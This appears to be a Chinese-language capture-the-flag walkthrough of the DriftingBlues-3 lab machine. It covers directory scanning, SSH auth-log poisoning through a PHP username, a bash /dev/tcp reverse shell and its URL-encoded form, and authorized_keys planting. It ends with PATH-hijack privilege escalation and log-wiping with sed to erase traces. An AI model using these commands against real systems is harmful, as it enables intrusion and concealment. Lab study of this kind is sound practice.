前言
靶机:DriftingBlues-3
,IP地址192.168.1.60
攻击:kali
,IP地址192.168.1.16
都采用虚拟机,网卡为桥接模式
主机发现
使用arp-scan -l
或netdiscover -r 192.168.1.1/24

信息收集
使用nmap扫描端口

网站探测
访问80端口,并查看页面源码,发现有图片等信息,可能是网站型目录

使用gobuster、dirsearch、ffuf、dirb、dirbuster
等工具扫描目录
shell
gobuster dir -u http://192.168.1.60 -w /usr/share/wordlists/dirb/big.txt -x php,zip,md,txt,html,jpg -b 404 -d


访问robots.txt
,发现eventadmins/
目录

访问drual、phpmyadmin、privacy
,发现都是信息ABC
和ABCD

访问secret

访问wp-admin

访问eventadmins/
目录

翻译一下,发现/littlequeenofspades.html
页面

访问/eventadmins

漏洞寻找
查看页面源代码,发现编码aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==

解码这个

访问/adminsfixit.php
,发现是ssh
连接的认证日志,通过测试发现确实会记录ssh
登录时的用户名、地址和端口
shell
ssh [email protected]

尝试连接,修改ssh
连接时的用户为php
脚本,测试是否可以

访问页面

测试是否可行

漏洞利用
尝试使用bash
命令反弹
shell
bash -c 'bash -i >& /dev/tcp/192.168.1.16/9999 0>&1'
进行URL编码
bash+-i+>%26+%2fdev%2ftcp%2f192.168.1.16%2f9999+0>%261%0a
在kali
中开启监听,然后使用浏览器执行上面的反弹命令

靶机内信息收集
使用find
寻找具有SUID权限和capabilites
shell
find / -perm -4000 -print 2>/dev/null
find / -type f -executable 2>/dev/null | xagrs getcap -r 2>/dev/null

查看定时任务
shell
cat /etc/crontab

查看网络状态信息

查看备份文件夹,看有无信息

使用find
寻找其他用户具有可写权限
shell
find /home -perm /2 2>/dev/null
-perm /2 是指其他用户具有可写权限,/2是指写权限

查看这个目录,发现具有写权限

提权
提权至robertj
在kali
生成ssh
的公私钥

然后把公钥id_rsa.pub
上传到这个目录下,改名为authorized_keys

然后使用ssh
私钥连接

之前使用find
寻找具有SUID权限文件,发现getinfo
,在linux
中并无该命令,测试该命令

把这个文件下载到kali
shell
scp [email protected]:/usr/bin/getinfo ./

使用strings
命令查看

提权至root
那么可以使用export
设置临时变量的优先目录,最好在/tmp
目录

编写脚本提权
shell
echo "/bin/bash" > ip

查看flag

清除痕迹
清理日志
shell
sed -i "/192.168.1.16/d" auth.log

删除之前生成的公钥

清除命令历史记录

总结
- 主要考证日志文件的利用,这里就是利用验证登录日志
auth.log
通过adminsfixit.php
文件展露 - 然后就是考察
ssh
公私钥的使用 - 考察临时环境变量的优先级目录